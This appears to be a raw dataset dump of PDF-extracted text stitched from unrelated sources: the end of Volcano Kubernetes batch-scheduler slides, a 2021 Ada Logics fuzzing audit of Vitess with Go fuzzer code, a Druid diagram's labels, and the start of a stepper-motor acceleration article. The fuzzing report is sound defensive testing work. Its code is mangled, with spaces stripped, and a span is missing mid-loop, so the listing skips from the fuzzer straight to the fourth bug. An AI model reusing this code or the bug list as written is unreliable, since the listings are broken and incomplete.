创建队列常用命令行：\\n官方支持 :\\n•Go\\n•Python\\n•Java\\n•CSharp\\n•Javascript\\n•Haskell\\n社区支持：\\n•Node.js\\n•Rust\\n•Scala\\n•……开发库 (SDK) ：KubeSim\\nhttps:// github.com/volcano -sh/kubesim\\n简介：\\n•集群进行性能测试及调度的描述工具\\n•不受资源限制，模拟大规模 K8S集群\\n•完整的 K8S API 调用，不会真正创建 pod\\n•已经支持产品侧大规模专项及调度专项的模拟工作\\n总体结构 ：\\n•Worker cluster ：承载 kubemark 虚拟节点，\\nhollow pod\\n•Master cluster ：管理 kubemark 虚拟节点，\\nhollow node\\n•Hollow pod = hollow kubelet + hollow proxyAdopters & Contributors\\nhttps:// github.com/volcano -sh/volcano/blob/master/docs/community/adopters.md\\nCommunity\\n•CNCF Sandbox: https:// landscape.cncf.io/selected=volcano\\n•1360+ GitHub Stars\\n•~100 Contributors from Huawei, AWS , JD.com, OpenAI , Baidu , Tencent , etc.\\n•12 formal releases\\n•5 maintainers across 3 independent companies (Huawei: 3, IBM: 1, Tencent 1)\\n•14 public adopters (private not included)\\n•CII best practice: passing\\n•License: Apache 2 License\\nReleases\\nVolcano: A Kubernetes Native Batch System\\nv1.0:\\n•GPU Sharing\\n•Preempt and reclaim \\nupgrade to Beta\\n•Job dynamic scale up \\nand down\\n•Integrate with flink\\noperator\\n•DAG job based on Argov0.1:\\n•IndexedJob\\n•Multiple Pod template\\n•Error handling of \\nPod/Job\\n•Queue/Job command \\nline\\n•Delay Pod Creation\\n•Job pluginsv0.2:\\n•Job Priority\\n•Queue Capacity\\n•Fair-share of NS cross \\nQueue\\n•Binpack algorithm\\n•Multiple event in job \\nlifecycle policyv0.3:\\n•Add maxRetry in job \\ncontroller\\n•Bug fix of scheduler, e.g. \\nResource, callback\\n•Dynamic load scheduler \\nconfiguration\\n•Support network policy\\n•Command line \\nenhancementsv0.4:\\n•Upgrade to go \\nmode\\n•sign certificate by \\nopenssl\\n•Remove \\ndeprecated API \\nversions\\n•Bug fix\\n2019.5 2019.9 2020.1 2020.4 2020.7Thanks!\\nFurther reading:\\n●https://groups.google.com/forum/#!forum/volcano -sh\\n●https://slack.cncf.io /#volcano\\n●https//github.com/volcano -sh/volcano\\nJoin our community and give us feedback!Performance Index\\n名字 英文缩写 描述 计算公式 衡量标准 备注\\n往返速率 Roundtrip测试为完成作业，在平台上消\\n耗的时间作业完成时间 –作业提交时\\n间越少越好作业为空，例如 busybox ；并以客\\n户端 收到反馈的时间为准\\n吞吐率 Throughput测试系统单位时间内可以接收\\n的任务单位时间内接收的任务 越多越好需要保证系统长期稳定的情况下进\\n行测试\\n作业平均执行\\n时间AET测试作业在系统中的平均执行\\n时间AVG( 作业完成时间 –作业开\\n始执行时间 )越少越好测试时需要指定测试场景，例如\\nTerasort , HPL 等\\n作业平均等待\\n时间AWT测试作业在系统中的平均等待\\n时间AVG( 作业提交时间 –作业开\\n始执行时间 )越短越好 根据队列权重进行调整\\n资源使用率 Utilization测试集群中资源的实际使用情\\n况实际使用资源 /集群总资源 越接近 1越好\\n资源分配率 Allocation 测试集群中资源的分配情况 分配资源 /集群总资源 越接近 1越好\\n用户资源分配\\n率U-Allocation 测试各个用户的资源分配情况 DIV( 用户分配到的资源 )用户之间越接近越\\n好包括单个调度周期和某一时间段的\\n资源分配情况，根据权重调整\\n资源成本 Cost完成指定作业集所需要的总成\\n本SUM( 作业执行时间 * 资源成\\n本)越少越好 资源成本会有不同，比如 竞价实例\\n用户资源成本 U-Cost每个用户完成指定作业所需要\\n的成本DIV( 每个用户的作业执行时\\n间* 资源成本 )•越少越好\\n•用户之间越接近\\n越好根据用户权重调整Da (Klaus) Ma\\n●Tech Lead of Huawei Container Infra\\n●Founder of Volcano/ kube -batch\\n●Tech Lead of CNCF SIG-Runtime\\n●Tech Lead of CNCF Research User Group\\n●Emeritus Leads of Kubernetes Machine \\nLearning Working Group\\n●Emeritus Leads of Kubernetes SIG Scheduling\\n●Kubernetes Maintainer\\n●Technical Program Committee of \\nISC/VHPC'20/21\\n@k82cn\\n\"\n }\n]"}}},{"rowIdx":39482,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"App Definition and Development\",\n \"file_name\": \"VIT-02-report-fuzzing-audit.pdf\",\n \"project_name\": \"Vitess\",\n \"subcategory\": \"Database\"\n}"},"content":{"kind":"list like","value":[{"data":"P R E S E N T S \nFuzzing integration for Vitess\nIn collaboration with the Vitess maintainers and The\nLinux Foundation\nA u t h o r s\nAdam Korczynski\n<\nadam@adalogics.com\n>\nDavid Korczynski\n<\ndavid@adalogics.com\n>\nDate: 14th May, 2021\nThis report is licensed under Creative Commons 4.0\n(CC BY 4.0)\n1\nE x e c u t i v e s u m m a r y\nThis report details an engagement by Ada Logics focused\non improving the fuzzing\ninfrastructure of Vitess. In this engagement we built\nupon earlier fuzzing of Vitess efforts\ndone by Ada Logics by developing more fuzzers that\ntarget critical parts of Vitess. The\nproject was stretched between March and April 2021,\nand the reason an Ada Logics fuzzing\naudits stretches over a longer period of time in comparison\nto regular security audits is the\nneed for having the fuzzers run for an extended time\nas well as iteratively developing the\nfuzzers based on their initial results.\nVitess has a large user base of Vitess which includes\nSlack and Youtube. This makes\nsecurity highly relevant for Vitess and thus improving\non the Vitess continuous fuzzing efforts\nmust be considered a priority.\nAda Logics developed a total of 10 fuzzers that together\ntarget a significant part of the Vitess\ncodebase. The engagement resulted in finding 5 bugs\nand none of these bugs have direct\nsecurity implications. This is a testament to the\nsecurity and robustness of Vitess. The\nfuzzers all continuously run following this engagement\nby way of OSS-Fuzz, which is a free\nservice by Google that supports running fuzzers for\ncritical open source projects.\nResults summarised\n10 fuzzers developed for both critical endpoints and\ncritical internals.\nAll fuzzers and fixes pushed to upstream Vitess repository.\nAll fuzzers running continuously through OSS-fuzz.\n5 bugs found:\n3 Fixes deployed, 2 still pending.\n2E n g a g e m e n t p r o c e s s a n d m e t h o d o l o g y\nThe approach to this engagement was to work openly\nby way of the Vitess Github repository\nand contribute to the open source project as a regular\nopen source contributor. In addition to\ncommunicating by way of pull requests and reviews,\ncommunication was also done by way\nof a private messaging application and we also had\nseveral video conference calls\nthroughout the process. All of the work was done against\nthe latest master branch on the\nVitess public repository (\nhttps://github.com/vitessio/vitess\n)\nand the scope was specified to be\nthe source code in\nhttps://github.com/vitessio/vitess/tree/master/go\n.\nThe focus of the\nengagement was to look at endpoints of the MySQL and\nthe grpc protocols. All fuzzers were\nimplemented by way of\ngo-fuzz\n.\n3O v e r v i e w o f f u z z e r s\nIn this section we will go through the fuzzers developed\nfor Vitess and in total 10 fuzzers\nwere contributed to Vitess. The following table gives\nan overview of the fuzzers:\nFuzzer function name\nPath\nPackage\nFuzzIsDML\ngo/vt/test/fuzzing\nsqlparser\nFuzzNormalizer\ngo/vt/test/fuzzing\nsqlparser\nFuzzTLSServer\ngo/mysql\nmysql\nFuzzHandleNextCommand\ngo/mysql\nmysql\nFuzzReadQueryResults\ngo/mysql\nmysql\nFuzz\ngo/vt/vtgate/grpcvtgateconn\ngrpcvtgateconn\nFuzzEngine\ngo/vt/vtgate/engine\nengine\nFuzz\ngo/vt/vttablet/tabletserver/vstreamer\nvstreamer\nFuzz\ngo/vt/test/fuzzing\nvtctl\nFuzzAnalyse\ngo/vt/vtgate/planbuilder\nplanbuilder\nWe now give a short description of what each of these\nfuzzers do and, in particular, how they\nuse the fuzz payload to target Vitess.\nFuzzIsDML\nTargetssqlparser.IsDML\nwith SQL queries created from\nthe fuzzing payload.\nFuzzNormalizer\nTargetssqlparser.Normalize\nwith SQL statements created\nfrom the fuzzing payload.\nFuzzTLSServer\nSets up anAuthServerStatic\nserver and establishes\na connection to it. It then attempts to\nfind crashes by sending packets to the connection\nand the contents of these packets are\ncreated by way of the fuzzing payload.\nFuzzHandleNextCommand\nTestshandleNextCommand\nwith a single packet created\nfrom the fuzzing payload.\nFuzzReadQueryResults \nTests theComQuery\npacket wrapper with an SQL query\ncreated by the fuzzing payload.\n4grpcvtgateconn.Fuzz\nCreates a fake vtgate service, connects to it and\nexecutes SQL queries against the\nconnection. The contents of the SQL queries are created\nfrom the fuzzing payload.\nFuzzEngine\nTargetsvtgate/engine\nby executing queries created\nby way of the fuzzing payload.\nvstreamer.Fuzz\nTests the VStream by building a plan with a filter\nthat has a rule created with the fuzzing\npayload.\nvtctl.Fuzz\nA high-level fuzzer that tests the robustness of thevtctl\n.\nFuzzAnalyse \nCreates a query graph with aSELECT\nstatement created\nfrom the fuzzing payload.\nFuzzTLSServer in-depth\nDue to space limitations we will not go in details\nwith all of the different fuzzers. However, to\nget insight into how they are implemented, we will\ngo into details with one of them, namely\nthe mysql.FuzzTLSServer. From a high level this fuzzer\nsets up a server, establishes a\nconnection to it and sends packets that are created\nfrom the fuzzing payload to the server.\nThe fuzzer first sets up an AuthServerStatic and create\na listener on it:\nfuncFuzzTLSServer(data []byte)int{th := &fuzzTestHandler{}\nauthServer := NewAuthServerStatic(\"\",\"\",0)authServer.entries[\"user1\"] = []*AuthServerStaticEntry{{Password:\"password1\",}}deferauthServer.close()l, err := NewListener(\"tcp\",\":0\", authServer, th,0,0,false)iferr !=nil{return-1}deferl.Close()\nThe fuzzer then proceeds with getting the host, port\nand root. The host and the port are\nneeded to establish a connection to the server, and\nthe root is needed to set up the SSL\ncertificate.\nhost, err := os.Hostname()iferr !=nil{return-1\n5}port := l.Addr().(*net.TCPAddr).Portroot, err := ioutil.TempDir(\"\",\"TestTLSServer\")iferr !=nil{return-1}\nNext, the creates a signed certificate:\ntlstest.CreateCA(root)tlstest.CreateSignedCert(root, tlstest.CA,\"01\",\"server\", host)tlstest.CreateSignedCert(root, tlstest.CA,\"02\",\"client\",\"Client Cert\")\nserverConfig, err := vttls.ServerConfig(path.Join(root,\"server-cert.pem\"),path.Join(root,\"server-key.pem\"),path.Join(root,\"ca-cert.pem\"),\"\")iferr !=nil{return-1}l.TLSConfig.Store(serverConfig)\nAnd the fuzzer then allows the listener to accept\nincoming connections:\ngol.Accept()\nFinally, the fuzzer connects to the server:\nconnCountByTLSVer.ResetAll()// Setup the right parameters.params := &ConnParams{Host: host,Port: port,Uname:\"user1\",Pass:\"password1\",// SSL flags.Flags: CapabilityClientSSL,SslCa: path.Join(root,\"ca-cert.pem\"),SslCert: path.Join(root,\"client-cert.pem\"),SslKey: path.Join(root,\"client-key.pem\"),}conn, err := Connect(context.Background(), params)iferr !=nil{return-1}\nThe fuzer has now completed initialization and has\na working connection to a server. It is\nnow time to send the packets and to do this the fuzzer\nuses a small helper function that\nconverts the fuzzing payload to a packet and sends\nit. This helper function is defined as\nfollows:\n6func(c *Conn)writeFuzzedPacket(packet []byte) {c.sequence =0data, pos := c.startEphemeralPacketWithHeader(len(packet)+1)copy(data[pos:], packet)_ = c.writeEphemeralPacket()}\nand it is invoked by the fuzzer as follows, wherequery\nis the payload from the fuzzer:\nconn.writeFuzzedPacket(query)\nAt this point all the necessary components for the\nfuzzer have been completed: A server is\ncreated and a connection is established to it and,\nfinally, packets defined by way of the\nfuzzing payload are being sent to the connection.\nHowever, because the server initialization is expensive\nin terms of performance, the fuzzer is\nat this point executing approximately 1 iteration\nper second. To improve the execution speed\nwe came up with a solution to send 20 packets per\nfuzz iteration instead of just 1. To achieve\nthis, we create an array of byte arrays in the beginning\nof the fuzzer:\ntotalQueries :=20varqueries [][]bytec := gofuzzheaders.NewConsumer(data)fori :=0; i < totalQueries; i++ {query, err := c.GetBytes()iferr !=nil{return-1}iflen(query) <40{continue}queries =append(queries, query)}\nIferr\ninquery, err := c.GetBytes()\nshould not be\nnil, we abandon the fuzz iteration\nand start over. This ensures that we only proceed\nwith the expensive server setup ifqueries\nhave a length of 20. At the end of the fuzzer, instead\nof sending a single packet as we did\nabove, we send all 20 packets fromqueries\n:\nfori :=0; i 255{buf.WriteRune(ch)continue}ifencodedChar := SQLEncodeMap[ch]; encodedChar== DontEscape {buf.WriteByte(byte(ch))buf.WriteRune(ch)}else{\n4. Index out of range inmysql.(*Conn).handleNextCommand\nThe panic occurs when a packet of length 0 is successfully\npassed tomysql.(c *Conn)handleNextCommand\n. A fix was introduced to check for\n0-length cases:\ngo/mysql/conn.go\n}returnfalse}iflen(data) ==0{returnfalse}switchdata[0] {caseComQuit:\nA d v i c e f o l l o w i n g e n g a g e m e n t\nThe engagement did produce a number of great results\nbut this is not the end. In this section\nwe go through ideas for future work that can improve\nthe fuzzing infrastructure of Vitess\neven further. In short, we present three areas of\nfuture work:\n1.\nFuzz against a complete cluster.\n2.\nIntegrating in structure-aware fuzzing.\n3.\nConnect the VTGate handler with the endpoints.\n4.\nIntegrate Vitess fuzzing into CIFuzz.\nFuzz against a complete cluster\nWe briefly investigated the possibilities of running\na full cluster during each fuzz iteration, but\nthis was deemed unachievable within the scope of the\nengagement. However, we suspect\nthis to be an interesting avenue for further research\nas it will stress test a complete Vitess\n9setup in comparison to more targeted fuzzers. A good place to start with this is\nT e s t M a i n\nfrom\nthe VSchema endtoend test\n.\nIntegrate structure-aware fuzzing\nVitess accepts untrusted sql queries as input and\nan interesting avenue for further work is\ncreating a grammar-aware SQL fuzzer. This could benefit\nseveral of the existing fuzzers and\nallow them to generate valid SQL queries for each\nfuzz iteration. This type of fuzzer is\nobserved in other\ndatabase projects\nas well as in\nChromium\n.\nConnect the VTGate handler with the endpoints\nThe preference of the Vitess maintainers in this engagement\nwas to focus on endpoints.\nHowever, when investigating the reach of the endpoints\nin the currently Vitess build on\nOSS-Fuzz, we observe that the endpoints do not reach\nall internal parts of Vitess. The\nreason for this is that the\nvtgateHandler\nis not properly\nutilized and a testhandler is used\ninstead. Improving on this by allowing the endpoint\nfuzzers to reach VTGate is a potential\narea of significant improvement to the fuzzing suite.\nIt is noteworthy that to mitigate this Ada\nLogics wrote fuzzers targeted VTGate, although it\nwould be preferred to have the fuzzers\nreach VTGate without through the endpoints.\nIntegrate Vitess fuzzing into CIFuzz\nCIFuzz is a service that enables execution of fuzzer\nas part of a continuous integration\nsystem. This can assist in catching bugs early in\nthe development process and it can easily\nbe integrated into projects already part of OSS-Fuzz.\nFor further information on this we refer\nto\nCIFuzz\n.\nC o n c l u s i o n s\nIn this engagement researchers from Ada Logics carried\nout an extensive fuzzing audit of\nVitess stretched over March and April 2021. A total\nof ten fuzzers were developed and these\nfuzzers were developed iteratively based on results\nduring the engagement. During the\nengagement the fuzzers found five bugs although none\nof these are security critical. The\nfuzzer infrastructure has been integrated into OSS-Fuzz\nwhich allows the fuzzers to run\ncontinuously following the ending of the engagement.\nOur efforts show that Vitess benefits from fuzzing\nand that the fuzzers are capable of finding\nbugs. However, none of the bugs found in the engagement\nare critical, and we, therefore,\nconclude that the security of Vitess is of very high\nstandard.\nWe thank the Linux Foundation for sponsoring this\nwork as well as the Vitess maintainers for\nthe collaboration.\n10"}],"string":"[\n {\n \"data\": \"P R E S E N T S \\nFuzzing integration for Vitess\\nIn collaboration with the Vitess maintainers and The\\nLinux Foundation\\nA u t h o r s\\nAdam Korczynski\\n<\\nadam@adalogics.com\\n>\\nDavid Korczynski\\n<\\ndavid@adalogics.com\\n>\\nDate: 14th May, 2021\\nThis report is licensed under Creative Commons 4.0\\n(CC BY 4.0)\\n1\\nE x e c u t i v e s u m m a r y\\nThis report details an engagement by Ada Logics focused\\non improving the fuzzing\\ninfrastructure of Vitess. In this engagement we built\\nupon earlier fuzzing of Vitess efforts\\ndone by Ada Logics by developing more fuzzers that\\ntarget critical parts of Vitess. The\\nproject was stretched between March and April 2021,\\nand the reason an Ada Logics fuzzing\\naudits stretches over a longer period of time in comparison\\nto regular security audits is the\\nneed for having the fuzzers run for an extended time\\nas well as iteratively developing the\\nfuzzers based on their initial results.\\nVitess has a large user base of Vitess which includes\\nSlack and Youtube. This makes\\nsecurity highly relevant for Vitess and thus improving\\non the Vitess continuous fuzzing efforts\\nmust be considered a priority.\\nAda Logics developed a total of 10 fuzzers that together\\ntarget a significant part of the Vitess\\ncodebase. The engagement resulted in finding 5 bugs\\nand none of these bugs have direct\\nsecurity implications. This is a testament to the\\nsecurity and robustness of Vitess. The\\nfuzzers all continuously run following this engagement\\nby way of OSS-Fuzz, which is a free\\nservice by Google that supports running fuzzers for\\ncritical open source projects.\\nResults summarised\\n10 fuzzers developed for both critical endpoints and\\ncritical internals.\\nAll fuzzers and fixes pushed to upstream Vitess repository.\\nAll fuzzers running continuously through OSS-fuzz.\\n5 bugs found:\\n3 Fixes deployed, 2 still pending.\\n2E n g a g e m e n t p r o c e s s a n d m e t h o d o l o g y\\nThe approach to this engagement was to work openly\\nby way of the Vitess Github repository\\nand contribute to the open source project as a regular\\nopen source contributor. In addition to\\ncommunicating by way of pull requests and reviews,\\ncommunication was also done by way\\nof a private messaging application and we also had\\nseveral video conference calls\\nthroughout the process. All of the work was done against\\nthe latest master branch on the\\nVitess public repository (\\nhttps://github.com/vitessio/vitess\\n)\\nand the scope was specified to be\\nthe source code in\\nhttps://github.com/vitessio/vitess/tree/master/go\\n.\\nThe focus of the\\nengagement was to look at endpoints of the MySQL and\\nthe grpc protocols. All fuzzers were\\nimplemented by way of\\ngo-fuzz\\n.\\n3O v e r v i e w o f f u z z e r s\\nIn this section we will go through the fuzzers developed\\nfor Vitess and in total 10 fuzzers\\nwere contributed to Vitess. The following table gives\\nan overview of the fuzzers:\\nFuzzer function name\\nPath\\nPackage\\nFuzzIsDML\\ngo/vt/test/fuzzing\\nsqlparser\\nFuzzNormalizer\\ngo/vt/test/fuzzing\\nsqlparser\\nFuzzTLSServer\\ngo/mysql\\nmysql\\nFuzzHandleNextCommand\\ngo/mysql\\nmysql\\nFuzzReadQueryResults\\ngo/mysql\\nmysql\\nFuzz\\ngo/vt/vtgate/grpcvtgateconn\\ngrpcvtgateconn\\nFuzzEngine\\ngo/vt/vtgate/engine\\nengine\\nFuzz\\ngo/vt/vttablet/tabletserver/vstreamer\\nvstreamer\\nFuzz\\ngo/vt/test/fuzzing\\nvtctl\\nFuzzAnalyse\\ngo/vt/vtgate/planbuilder\\nplanbuilder\\nWe now give a short description of what each of these\\nfuzzers do and, in particular, how they\\nuse the fuzz payload to target Vitess.\\nFuzzIsDML\\nTargetssqlparser.IsDML\\nwith SQL queries created from\\nthe fuzzing payload.\\nFuzzNormalizer\\nTargetssqlparser.Normalize\\nwith SQL statements created\\nfrom the fuzzing payload.\\nFuzzTLSServer\\nSets up anAuthServerStatic\\nserver and establishes\\na connection to it. It then attempts to\\nfind crashes by sending packets to the connection\\nand the contents of these packets are\\ncreated by way of the fuzzing payload.\\nFuzzHandleNextCommand\\nTestshandleNextCommand\\nwith a single packet created\\nfrom the fuzzing payload.\\nFuzzReadQueryResults \\nTests theComQuery\\npacket wrapper with an SQL query\\ncreated by the fuzzing payload.\\n4grpcvtgateconn.Fuzz\\nCreates a fake vtgate service, connects to it and\\nexecutes SQL queries against the\\nconnection. The contents of the SQL queries are created\\nfrom the fuzzing payload.\\nFuzzEngine\\nTargetsvtgate/engine\\nby executing queries created\\nby way of the fuzzing payload.\\nvstreamer.Fuzz\\nTests the VStream by building a plan with a filter\\nthat has a rule created with the fuzzing\\npayload.\\nvtctl.Fuzz\\nA high-level fuzzer that tests the robustness of thevtctl\\n.\\nFuzzAnalyse \\nCreates a query graph with aSELECT\\nstatement created\\nfrom the fuzzing payload.\\nFuzzTLSServer in-depth\\nDue to space limitations we will not go in details\\nwith all of the different fuzzers. However, to\\nget insight into how they are implemented, we will\\ngo into details with one of them, namely\\nthe mysql.FuzzTLSServer. From a high level this fuzzer\\nsets up a server, establishes a\\nconnection to it and sends packets that are created\\nfrom the fuzzing payload to the server.\\nThe fuzzer first sets up an AuthServerStatic and create\\na listener on it:\\nfuncFuzzTLSServer(data []byte)int{th := &fuzzTestHandler{}\\nauthServer := NewAuthServerStatic(\\\"\\\",\\\"\\\",0)authServer.entries[\\\"user1\\\"] = []*AuthServerStaticEntry{{Password:\\\"password1\\\",}}deferauthServer.close()l, err := NewListener(\\\"tcp\\\",\\\":0\\\", authServer, th,0,0,false)iferr !=nil{return-1}deferl.Close()\\nThe fuzzer then proceeds with getting the host, port\\nand root. The host and the port are\\nneeded to establish a connection to the server, and\\nthe root is needed to set up the SSL\\ncertificate.\\nhost, err := os.Hostname()iferr !=nil{return-1\\n5}port := l.Addr().(*net.TCPAddr).Portroot, err := ioutil.TempDir(\\\"\\\",\\\"TestTLSServer\\\")iferr !=nil{return-1}\\nNext, the creates a signed certificate:\\ntlstest.CreateCA(root)tlstest.CreateSignedCert(root, tlstest.CA,\\\"01\\\",\\\"server\\\", host)tlstest.CreateSignedCert(root, tlstest.CA,\\\"02\\\",\\\"client\\\",\\\"Client Cert\\\")\\nserverConfig, err := vttls.ServerConfig(path.Join(root,\\\"server-cert.pem\\\"),path.Join(root,\\\"server-key.pem\\\"),path.Join(root,\\\"ca-cert.pem\\\"),\\\"\\\")iferr !=nil{return-1}l.TLSConfig.Store(serverConfig)\\nAnd the fuzzer then allows the listener to accept\\nincoming connections:\\ngol.Accept()\\nFinally, the fuzzer connects to the server:\\nconnCountByTLSVer.ResetAll()// Setup the right parameters.params := &ConnParams{Host: host,Port: port,Uname:\\\"user1\\\",Pass:\\\"password1\\\",// SSL flags.Flags: CapabilityClientSSL,SslCa: path.Join(root,\\\"ca-cert.pem\\\"),SslCert: path.Join(root,\\\"client-cert.pem\\\"),SslKey: path.Join(root,\\\"client-key.pem\\\"),}conn, err := Connect(context.Background(), params)iferr !=nil{return-1}\\nThe fuzer has now completed initialization and has\\na working connection to a server. It is\\nnow time to send the packets and to do this the fuzzer\\nuses a small helper function that\\nconverts the fuzzing payload to a packet and sends\\nit. This helper function is defined as\\nfollows:\\n6func(c *Conn)writeFuzzedPacket(packet []byte) {c.sequence =0data, pos := c.startEphemeralPacketWithHeader(len(packet)+1)copy(data[pos:], packet)_ = c.writeEphemeralPacket()}\\nand it is invoked by the fuzzer as follows, wherequery\\nis the payload from the fuzzer:\\nconn.writeFuzzedPacket(query)\\nAt this point all the necessary components for the\\nfuzzer have been completed: A server is\\ncreated and a connection is established to it and,\\nfinally, packets defined by way of the\\nfuzzing payload are being sent to the connection.\\nHowever, because the server initialization is expensive\\nin terms of performance, the fuzzer is\\nat this point executing approximately 1 iteration\\nper second. To improve the execution speed\\nwe came up with a solution to send 20 packets per\\nfuzz iteration instead of just 1. To achieve\\nthis, we create an array of byte arrays in the beginning\\nof the fuzzer:\\ntotalQueries :=20varqueries [][]bytec := gofuzzheaders.NewConsumer(data)fori :=0; i < totalQueries; i++ {query, err := c.GetBytes()iferr !=nil{return-1}iflen(query) <40{continue}queries =append(queries, query)}\\nIferr\\ninquery, err := c.GetBytes()\\nshould not be\\nnil, we abandon the fuzz iteration\\nand start over. This ensures that we only proceed\\nwith the expensive server setup ifqueries\\nhave a length of 20. At the end of the fuzzer, instead\\nof sending a single packet as we did\\nabove, we send all 20 packets fromqueries\\n:\\nfori :=0; i 255{buf.WriteRune(ch)continue}ifencodedChar := SQLEncodeMap[ch]; encodedChar== DontEscape {buf.WriteByte(byte(ch))buf.WriteRune(ch)}else{\\n4. Index out of range inmysql.(*Conn).handleNextCommand\\nThe panic occurs when a packet of length 0 is successfully\\npassed tomysql.(c *Conn)handleNextCommand\\n. A fix was introduced to check for\\n0-length cases:\\ngo/mysql/conn.go\\n}returnfalse}iflen(data) ==0{returnfalse}switchdata[0] {caseComQuit:\\nA d v i c e f o l l o w i n g e n g a g e m e n t\\nThe engagement did produce a number of great results\\nbut this is not the end. In this section\\nwe go through ideas for future work that can improve\\nthe fuzzing infrastructure of Vitess\\neven further. In short, we present three areas of\\nfuture work:\\n1.\\nFuzz against a complete cluster.\\n2.\\nIntegrating in structure-aware fuzzing.\\n3.\\nConnect the VTGate handler with the endpoints.\\n4.\\nIntegrate Vitess fuzzing into CIFuzz.\\nFuzz against a complete cluster\\nWe briefly investigated the possibilities of running\\na full cluster during each fuzz iteration, but\\nthis was deemed unachievable within the scope of the\\nengagement. However, we suspect\\nthis to be an interesting avenue for further research\\nas it will stress test a complete Vitess\\n9setup in comparison to more targeted fuzzers. A good place to start with this is\\nT e s t M a i n\\nfrom\\nthe VSchema endtoend test\\n.\\nIntegrate structure-aware fuzzing\\nVitess accepts untrusted sql queries as input and\\nan interesting avenue for further work is\\ncreating a grammar-aware SQL fuzzer. This could benefit\\nseveral of the existing fuzzers and\\nallow them to generate valid SQL queries for each\\nfuzz iteration. This type of fuzzer is\\nobserved in other\\ndatabase projects\\nas well as in\\nChromium\\n.\\nConnect the VTGate handler with the endpoints\\nThe preference of the Vitess maintainers in this engagement\\nwas to focus on endpoints.\\nHowever, when investigating the reach of the endpoints\\nin the currently Vitess build on\\nOSS-Fuzz, we observe that the endpoints do not reach\\nall internal parts of Vitess. The\\nreason for this is that the\\nvtgateHandler\\nis not properly\\nutilized and a testhandler is used\\ninstead. Improving on this by allowing the endpoint\\nfuzzers to reach VTGate is a potential\\narea of significant improvement to the fuzzing suite.\\nIt is noteworthy that to mitigate this Ada\\nLogics wrote fuzzers targeted VTGate, although it\\nwould be preferred to have the fuzzers\\nreach VTGate without through the endpoints.\\nIntegrate Vitess fuzzing into CIFuzz\\nCIFuzz is a service that enables execution of fuzzer\\nas part of a continuous integration\\nsystem. This can assist in catching bugs early in\\nthe development process and it can easily\\nbe integrated into projects already part of OSS-Fuzz.\\nFor further information on this we refer\\nto\\nCIFuzz\\n.\\nC o n c l u s i o n s\\nIn this engagement researchers from Ada Logics carried\\nout an extensive fuzzing audit of\\nVitess stretched over March and April 2021. A total\\nof ten fuzzers were developed and these\\nfuzzers were developed iteratively based on results\\nduring the engagement. During the\\nengagement the fuzzers found five bugs although none\\nof these are security critical. The\\nfuzzer infrastructure has been integrated into OSS-Fuzz\\nwhich allows the fuzzers to run\\ncontinuously following the ending of the engagement.\\nOur efforts show that Vitess benefits from fuzzing\\nand that the fuzzers are capable of finding\\nbugs. However, none of the bugs found in the engagement\\nare critical, and we, therefore,\\nconclude that the security of Vitess is of very high\\nstandard.\\nWe thank the Linux Foundation for sponsoring this\\nwork as well as the Vitess maintainers for\\nthe collaboration.\\n10\"\n }\n]"}}},{"rowIdx":39483,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"App Definition and Development\",\n \"file_name\": \"cluster.pdf\",\n \"project_name\": \"Druid\",\n \"subcategory\": \"Database\"\n}"},"content":{"kind":"list like","value":[{"data":"Real-time \nNodes\nCoordinator \nNodesBroker Nodes\nHistorical \nNodesMySQL\nZookeeper\nDeep \nStorage\nStreaming \nData\nBatch\nDataClient \nQueries\nQueries\nMetadata\nData/SegmentsDruid Nodes\nExternal Dependencies"}],"string":"[\n {\n \"data\": \"Real-time \\nNodes\\nCoordinator \\nNodesBroker Nodes\\nHistorical \\nNodesMySQL\\nZookeeper\\nDeep \\nStorage\\nStreaming \\nData\\nBatch\\nDataClient \\nQueries\\nQueries\\nMetadata\\nData/SegmentsDruid Nodes\\nExternal Dependencies\"\n }\n]"}}},{"rowIdx":39484,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"App Definition and Development\",\n \"file_name\": \"stepper-motor.pdf\",\n \"project_name\": \"ArangoDB\",\n \"subcategory\": \"Database\"\n}"},"content":{"kind":"list like","value":[{"data":"(http://www.designcon.com/santaclara/?_mc=AD_DC16_BCS_RBN)\n(http://www.embedded.com)CONTACT US (/CONTACTUS) • SUBSCRIBE TO NEWSLETTERSSUBSCRIBE TO NEWSLETTERS loginregisterDEVELOPMENTESSENTIALS & EDUCATIONCOMMUNITYARCHIVESABOUT USSearch\n>>>>Home (/)MCUs, Processors & SoCs Development Centers (/development/mcus-processors-and-socs)Design How-To (/development/mcus-processors-and-socs/articles)\n4Tweet\n (mailto:?subject=Generate stepper-motor speed profiles in realtime&body=http://www.embedded.com/design/mcus-processors-and-socs/4006438/Generate-stepper-motor-speed-profiles-in-real-time)Generate stepper-motor speedprofiles in real timeDavid AustinDavid AustinDECEMBER 30, 2004\nA new algorithm for stepper-motor acceleration allows speed profiles toA new algorithm for stepper-motor acceleration allows speed profiles tobe parameterized and calculated in real time. This algorithm can run on abe parameterized and calculated in real time. This algorithm can run on alow-end microcontroller using only simple fixed-point arithmeticlow-end microcontroller using only simple fixed-point arithmeticoperations and no data tables. It develops an accurate approximation foroperations and no data tables. It develops an accurate approximation forthe timing of a linear ramp with constant acceleration and deceleration.the timing of a linear ramp with constant acceleration and deceleration.It's commonly thought that the timing of a linear speed ramp for a stepper motor istoo complex to be calculated in real time. The exact formula for the step delay is inEquation 8. The solution has been to store the ramp data in precompiled arrays, butthis method is inflexible and wastes memory. The alternative has been to use amore powerful and expensive processor than otherwise needed or a high-levelstepper-control IC. This article develops an accurate approximation that has beenimplemented in C using 24.8 fixed-point arithmetic on a mid-range PICmicrocontroller.Motor step signals can be generated by a 16-bit timer-comparator module ascommonly integrated in microcontrollers. On the PIC, the CCP(capture/compare/pwm) performs this function. It allows steps to be timed to theresolution of one timer period. Each step advances the motor by a constantincrement, typically 1.8 degrees on a hybrid stepper motor.Share\n25LikeLike\nSPONSOR VIDEO, MOUSEOVER FOR SOUNDSPONSOR VIDEO, MOUSEOVER FOR SOUNDMOST READ06.26.2007Building Bare-Metal ARM Systemswith GNU: Part 1 - Getting Started(/design/mcus-processors-and-socs/4007119/Building-Bare-Metal-ARM-Systems-with-GNU-Part-1--Getting-Started)12.30.2004\nThe timer frequency should be as high as possible while still allowing long delays asthe motor is accelerated from stop. A timer frequency of 1MHz has been used. Amaximum motor speed of 300rpm is then equivalent to a delay count of 1,000. It'snecessary to have high timer resolution to give smooth acceleration at high speed.Notation and basic formulasNotation and basic formulasDelay (sec) programmed by timer count c:\n Equation 1f = timer frequency (Hz).Motor speed 